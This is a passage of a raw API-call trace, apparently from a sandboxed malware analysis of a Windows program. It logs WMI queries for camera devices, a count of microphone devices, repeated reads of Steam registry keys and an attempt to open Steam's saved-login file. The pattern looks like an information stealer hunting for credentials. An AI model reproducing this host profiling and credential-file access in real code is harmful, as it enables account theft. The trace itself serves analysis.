pCapabilites=0x1db9e8a4*=0x1) returned 0x0 [0223.770] WbemLocator:IUnknown:Release (This=0x1b202e70) returned 0x1 [0223.770] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2181d0, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1db9e7e0 | out: ppvObject=0x1db9e7e0*=0x1b202eb8) returned 0x0 [0223.770] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2181d0, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1db9e7f0 | out: ppvObject=0x1db9e7f0*=0x1b202e70) returned 0x0 [0223.770] WbemLocator:IClientSecurity:SetBlanket (This=0x1b202e70, pProxy=0x1b2181d0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0223.770] WbemLocator:IUnknown:Release (This=0x1b202e70) returned 0x2 [0223.770] WbemLocator:IUnknown:Release (This=0x1b202eb8) returned 0x1 [0223.770] CoTaskMemFree (pv=0x1d1e6ae0) [0223.771] WbemLocator:IUnknown:Release (This=0x1b1ff570) returned 0x0 [0223.771] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2181d0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1db9e2e0 | out: ppvObject=0x1db9e2e0*=0x1b202eb8) returned 0x0 [0223.771] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202eb8, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1db9e370 | out: ppvObject=0x1db9e370*=0x0) returned 0x80004002 [0223.978] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202eb8, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1db9df90 | out: ppvObject=0x1db9df90*=0x0) returned 0x80004002 [0224.181] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2181d0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1db9db68 | out: ppvObject=0x1db9db68*=0x0) returned 0x80004002 [0224.533] WbemLocator:IUnknown:AddRef (This=0x1b202eb8) returned 0x3 [0224.533] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202eb8, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1db9da28 | out: ppvObject=0x1db9da28*=0x0) returned 0x80004002 [0224.533] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202eb8, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1db9d9b0 | out: ppvObject=0x1db9d9b0*=0x0) returned 0x80004002 [0224.533] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202eb8, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1db9d9a0 | out: ppvObject=0x1db9d9a0*=0x1b202d98) returned 0x0 [0224.534] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b202d98, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1db9d9c8 | out: pCid=0x1db9d9c8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0224.534] WbemLocator:IUnknown:Release (This=0x1b202d98) returned 0x3 [0224.534] CoGetContextToken (in: pToken=0x1db9da50 | out: pToken=0x1db9da50) returned 0x0 [0224.534] CoGetContextToken (in: pToken=0x1db9ded0 | out: pToken=0x1db9ded0) returned 0x0 [0224.534] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202eb8, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1db9df90 | out: ppvObject=0x1db9df90*=0x1b202e80) returned 0x0 [0224.534] WbemLocator:IRpcOptions:Query (in: This=0x1b202e80, pPrx=0x1b202eb8, dwProperty=2, pdwValue=0x1db9df80 | out: pdwValue=0x1db9df80) returned 0x80004002 [0224.534] WbemLocator:IUnknown:Release (This=0x1b202e80) returned 0x3 [0224.534] WbemLocator:IUnknown:Release (This=0x1b202eb8) returned 0x2 [0224.534] CoGetContextToken (in: pToken=0x1db9e590 | out: pToken=0x1db9e590) returned 0x0 [0224.534] CoGetContextToken (in: pToken=0x1db9e490 | out: pToken=0x1db9e490) returned 0x0 [0224.535] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202eb8, riid=0x1db9e5f0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1db9e5c0 | out: ppvObject=0x1db9e5c0*=0x1b2181d0) returned 0x0 [0224.535] WbemLocator:IUnknown:AddRef (This=0x1b2181d0) returned 0x4 [0224.535] WbemLocator:IUnknown:Release (This=0x1b2181d0) returned 0x3 [0224.535] WbemLocator:IUnknown:Release (This=0x1b2181d0) returned 0x2 [0224.535] SysStringLen (param_1=0x0) returned 0x0 [0224.535] CoGetContextToken (in: pToken=0x1db9e6c0 | out: pToken=0x1db9e6c0) returned 0x0 [0224.535] WbemLocator:IUnknown:AddRef (This=0x1b202eb8) returned 0x3 [0224.535] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202eb8, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1db9e6c0 | out: ppvObject=0x1db9e6c0*=0x1b202eb8) returned 0x0 [0224.535] WbemLocator:IUnknown:Release (This=0x1b202eb8) returned 0x3 [0224.535] WbemLocator:IUnknown:Release (This=0x1b202eb8) returned 0x2 [0224.535] CoGetContextToken (in: pToken=0x1db9e790 | out: pToken=0x1db9e790) returned 0x0 [0224.535] WbemLocator:IUnknown:AddRef (This=0x1b2181d0) returned 0x3 [0224.536] IWbemServices:ExecQuery (in: This=0x1b2181d0, strQueryLanguage="WQL", strQuery="SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')", lFlags=16, pCtx=0x0, ppEnum=0x1db9ec98 | out: ppEnum=0x1db9ec98*=0x1b287820) returned 0x0 [0224.549] IUnknown:QueryInterface (in: This=0x1b287820, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1db9e908 | out: ppvObject=0x1db9e908*=0x1b287828) returned 0x0 [0224.549] IClientSecurity:QueryBlanket (in: This=0x1b287828, pProxy=0x1b287820, pAuthnSvc=0x1db9e9d0, pAuthzSvc=0x1db9e950, pServerPrincName=0x1db9e978, pAuthnLevel=0x1db9e954, pImpLevel=0x1db9e960, pAuthInfo=0x1db9e988, pCapabilites=0x1db9e964 | out: pAuthnSvc=0x1db9e9d0*=0xa, pAuthzSvc=0x1db9e950*=0x0, pServerPrincName=0x1db9e978, pAuthnLevel=0x1db9e954*=0x6, pImpLevel=0x1db9e960*=0x2, pAuthInfo=0x1db9e988, pCapabilites=0x1db9e964*=0x1) returned 0x0 [0224.550] IUnknown:Release (This=0x1b287828) returned 0x1 [0224.550] IUnknown:QueryInterface (in: This=0x1b287820, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1db9e8a0 | out: ppvObject=0x1db9e8a0*=0x1b201e78) returned 0x0 [0224.550] IUnknown:QueryInterface (in: This=0x1b287820, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1db9e8b0 | out: ppvObject=0x1db9e8b0*=0x1b287828) returned 0x0 [0224.550] IClientSecurity:SetBlanket (This=0x1b287828, pProxy=0x1b287820, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0224.551] IUnknown:Release (This=0x1b287828) returned 0x2 [0224.552] WbemLocator:IUnknown:Release (This=0x1b201e78) returned 0x1 [0224.552] CoTaskMemFree (pv=0x1d1e7b60) [0224.552] IUnknown:QueryInterface (in: This=0x1b287820, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1db9e370 | out: ppvObject=0x1db9e370*=0x1b201e78) returned 0x0 [0224.552] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201e78, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1db9e400 | out: ppvObject=0x1db9e400*=0x0) returned 0x80004002 [0224.552] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201e78, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1db9e020 | out: ppvObject=0x1db9e020*=0x0) returned 0x80004002 [0224.553] IUnknown:QueryInterface (in: This=0x1b287820, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1db9dbf8 | out: ppvObject=0x1db9dbf8*=0x0) returned 0x80004002 [0224.553] WbemLocator:IUnknown:AddRef (This=0x1b201e78) returned 0x3 [0224.553] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201e78, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1db9dab8 | out: ppvObject=0x1db9dab8*=0x0) returned 0x80004002 [0224.553] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201e78, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1db9da40 | out: ppvObject=0x1db9da40*=0x0) returned 0x80004002 [0224.553] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201e78, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1db9da30 | out: ppvObject=0x1db9da30*=0x1b201d58) returned 0x0 [0224.553] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b201d58, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1db9da58 | out: pCid=0x1db9da58*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0224.553] WbemLocator:IUnknown:Release (This=0x1b201d58) returned 0x3 [0224.554] CoGetContextToken (in: pToken=0x1db9dae0 | out: pToken=0x1db9dae0) returned 0x0 [0224.554] CoGetContextToken (in: pToken=0x1db9df60 | out: pToken=0x1db9df60) returned 0x0 [0224.554] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201e78, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1db9e020 | out: ppvObject=0x1db9e020*=0x1b201e40) returned 0x0 [0224.554] WbemLocator:IRpcOptions:Query (in: This=0x1b201e40, pPrx=0x1b201e78, dwProperty=2, pdwValue=0x1db9e010 | out: pdwValue=0x1db9e010) returned 0x80004002 [0224.554] WbemLocator:IUnknown:Release (This=0x1b201e40) returned 0x3 [0224.554] WbemLocator:IUnknown:Release (This=0x1b201e78) returned 0x2 [0224.554] CoGetContextToken (in: pToken=0x1db9e620 | out: pToken=0x1db9e620) returned 0x0 [0224.554] CoGetContextToken (in: pToken=0x1db9e520 | out: pToken=0x1db9e520) returned 0x0 [0224.554] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201e78, riid=0x1db9e680*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1db9e650 | out: ppvObject=0x1db9e650*=0x1b287820) returned 0x0 [0224.554] IUnknown:AddRef (This=0x1b287820) returned 0x4 [0224.554] IUnknown:Release (This=0x1b287820) returned 0x3 [0224.554] IUnknown:Release (This=0x1b287820) returned 0x2 [0224.554] WbemLocator:IUnknown:Release (This=0x1b2181d0) returned 0x2 [0224.554] SysStringLen (param_1=0x0) returned 0x0 [0224.554] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1db9ecd8 | out: puCount=0x1db9ecd8*=0x2) returned 0x0 [0224.554] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1db9ecd0*=0x0, pszText=0x0 | out: puBuffLength=0x1db9ecd0*=0xf, pszText=0x0) returned 0x0 [0224.554] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1db9ecd0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1db9ecd0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0224.555] CoGetContextToken (in: pToken=0x1db9e920 | out: pToken=0x1db9e920) returned 0x0 [0224.555] IUnknown:AddRef (This=0x1b287820) returned 0x3 [0224.555] IEnumWbemClassObject:Clone (in: This=0x1b287820, ppEnum=0x1db9ed20 | out: ppEnum=0x1db9ed20*=0x1b287970) returned 0x0 [0224.556] IUnknown:QueryInterface (in: This=0x1b287970, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1db9eaa8 | out: ppvObject=0x1db9eaa8*=0x1b287978) returned 0x0 [0224.556] IClientSecurity:QueryBlanket (in: This=0x1b287978, pProxy=0x1b287970, pAuthnSvc=0x1db9eb70, pAuthzSvc=0x1db9eaf0, pServerPrincName=0x1db9eb18, pAuthnLevel=0x1db9eaf4, pImpLevel=0x1db9eb00, pAuthInfo=0x1db9eb28, pCapabilites=0x1db9eb04 | out: pAuthnSvc=0x1db9eb70*=0xa, pAuthzSvc=0x1db9eaf0*=0x0, pServerPrincName=0x1db9eb18, pAuthnLevel=0x1db9eaf4*=0x6, pImpLevel=0x1db9eb00*=0x2, pAuthInfo=0x1db9eb28, pCapabilites=0x1db9eb04*=0x1) returned 0x0 [0224.556] IUnknown:Release (This=0x1b287978) returned 0x1 [0224.556] IUnknown:QueryInterface (in: This=0x1b287970, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1db9ea40 | out: ppvObject=0x1db9ea40*=0x1b2021b8) returned 0x0 [0224.556] IUnknown:QueryInterface (in: This=0x1b287970, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1db9ea50 | out: ppvObject=0x1db9ea50*=0x1b287978) returned 0x0 [0224.556] IClientSecurity:SetBlanket (This=0x1b287978, pProxy=0x1b287970, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0224.558] IUnknown:Release (This=0x1b287978) returned 0x2 [0224.558] WbemLocator:IUnknown:Release (This=0x1b2021b8) returned 0x1 [0224.558] CoTaskMemFree (pv=0x1d1e7140) [0224.558] IUnknown:QueryInterface (in: This=0x1b287970, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1db9e500 | out: ppvObject=0x1db9e500*=0x1b2021b8) returned 0x0 [0224.558] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1db9e590 | out: ppvObject=0x1db9e590*=0x0) returned 0x80004002 [0224.558] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1db9e1b0 | out: ppvObject=0x1db9e1b0*=0x0) returned 0x80004002 [0224.559] IUnknown:QueryInterface (in: This=0x1b287970, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1db9dd88 | out: ppvObject=0x1db9dd88*=0x0) returned 0x80004002 [0224.559] WbemLocator:IUnknown:AddRef (This=0x1b2021b8) returned 0x3 [0224.559] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1db9dc48 | out: ppvObject=0x1db9dc48*=0x0) returned 0x80004002 [0224.559] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1db9dbd0 | out: ppvObject=0x1db9dbd0*=0x0) returned 0x80004002 [0224.559] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1db9dbc0 | out: ppvObject=0x1db9dbc0*=0x1b202098) returned 0x0 [0224.559] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b202098, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1db9dbe8 | out: pCid=0x1db9dbe8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0224.559] WbemLocator:IUnknown:Release (This=0x1b202098) returned 0x3 [0224.559] CoGetContextToken (in: pToken=0x1db9dc70 | out: pToken=0x1db9dc70) returned 0x0 [0224.560] CoGetContextToken (in: pToken=0x1db9e0f0 | out: pToken=0x1db9e0f0) returned 0x0 [0224.560] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1db9e1b0 | out: ppvObject=0x1db9e1b0*=0x1b202180) returned 0x0 [0224.560] WbemLocator:IRpcOptions:Query (in: This=0x1b202180, pPrx=0x1b2021b8, dwProperty=2, pdwValue=0x1db9e1a0 | out: pdwValue=0x1db9e1a0) returned 0x80004002 [0224.560] WbemLocator:IUnknown:Release (This=0x1b202180) returned 0x3 [0224.560] WbemLocator:IUnknown:Release (This=0x1b2021b8) returned 0x2 [0224.560] CoGetContextToken (in: pToken=0x1db9e7b0 | out: pToken=0x1db9e7b0) returned 0x0 [0224.560] CoGetContextToken (in: pToken=0x1db9e6b0 | out: pToken=0x1db9e6b0) returned 0x0 [0224.560] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x1db9e810*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1db9e7e0 | out: ppvObject=0x1db9e7e0*=0x1b287970) returned 0x0 [0224.560] IUnknown:AddRef (This=0x1b287970) returned 0x4 [0224.560] IUnknown:Release (This=0x1b287970) returned 0x3 [0224.560] IUnknown:Release (This=0x1b287970) returned 0x2 [0224.560] IUnknown:Release (This=0x1b287820) returned 0x2 [0224.560] SysStringLen (param_1=0x0) returned 0x0 [0224.560] IEnumWbemClassObject:Reset (This=0x1b287970) returned 0x0 [0224.768] CoTaskMemAlloc (cb=0x8) returned 0x1d1c0ee0 [0224.768] IEnumWbemClassObject:Next (in: This=0x1b287970, lTimeout=-1, uCount=0x1, apObjects=0x1d1c0ee0, puReturned=0x28e94f0 | out: apObjects=0x1d1c0ee0*=0x0, puReturned=0x28e94f0*=0x0) returned 0x1 [0249.423] CoTaskMemFree (pv=0x1d1c0ee0) [0249.424] CoGetContextToken (in: pToken=0x1db9eb60 | out: pToken=0x1db9eb60) returned 0x0 [0249.424] WbemLocator:IUnknown:Release (This=0x1b2021b8) returned 0x1 [0249.424] IUnknown:Release (This=0x1b287970) returned 0x0 [0249.426] waveInGetNumDevs () returned 0x1 [0249.428] waveInGetDevCapsW (in: uDeviceID=0x0, pwic=0x1db9edd8, cbwic=0x94 | out: pwic=0x1db9edd8) returned 0x0 [0249.433] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1db9edc8 | out: phkResult=0x1db9edc8*=0x0) returned 0x2 [0249.597] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1db9c128 | out: phkResult=0x1db9c128*=0x0) returned 0x2 [0249.600] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1db9edc8 | out: phkResult=0x1db9edc8*=0x0) returned 0x2 [0249.602] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1db9c128 | out: phkResult=0x1db9c128*=0x0) returned 0x2 [0249.604] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1db9edc8 | out: phkResult=0x1db9edc8*=0x0) returned 0x2 [0249.606] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1db9c128 | out: phkResult=0x1db9c128*=0x0) returned 0x2 [0249.618] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1db9ec28 | out: phkResult=0x1db9ec28*=0x0) returned 0x2 [0249.620] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1db9bf88 | out: phkResult=0x1db9bf88*=0x0) returned 0x2 [0249.623] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1db9ec28 | out: phkResult=0x1db9ec28*=0x0) returned 0x2 [0249.625] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1db9bf88 | out: phkResult=0x1db9bf88*=0x0) returned 0x2 [0249.628] GetFullPathNameW (in: lpFileName="Unknown\\config\\loginusers.vdf", nBufferLength=0x105, lpBuffer=0x1db9e6a0, lpFilePart=0x0 | out: lpBuffer="C:\\portSession\\Unknown\\config\\loginusers.vdf", lpFilePart=0x0) returned 0x2c [0249.628] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9eb80) returned 1 [0249.628] CreateFileW (lpFileName="C:\\portSession\\Unknown\\config\\loginusers.vdf" (normalized: "c:\\portsession\\unknown\\config\\loginusers.vdf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0249.632] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9aec0) returned 1 [0249.634] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1db9ec78 | out: phkResult=0x1db9ec78*=0x0) returned 0x2 [0249.635] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1db9bfd8 | out: phkResult=0x1db9bfd8*=0x0) returned 0x2 [0249.807] GetFullPathNameW (in: lpFileName="Unknown\\steamapps\\common", nBufferLength=0x105, lpBuffer=0x1db9e8f0, lpFilePart=0x0 | out: lpBuffer="C:\\portSession\\Unknown\\steamapps\\common", lpFilePart=0x0) returned 0x27 [0249.807] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9ed40) returned 1 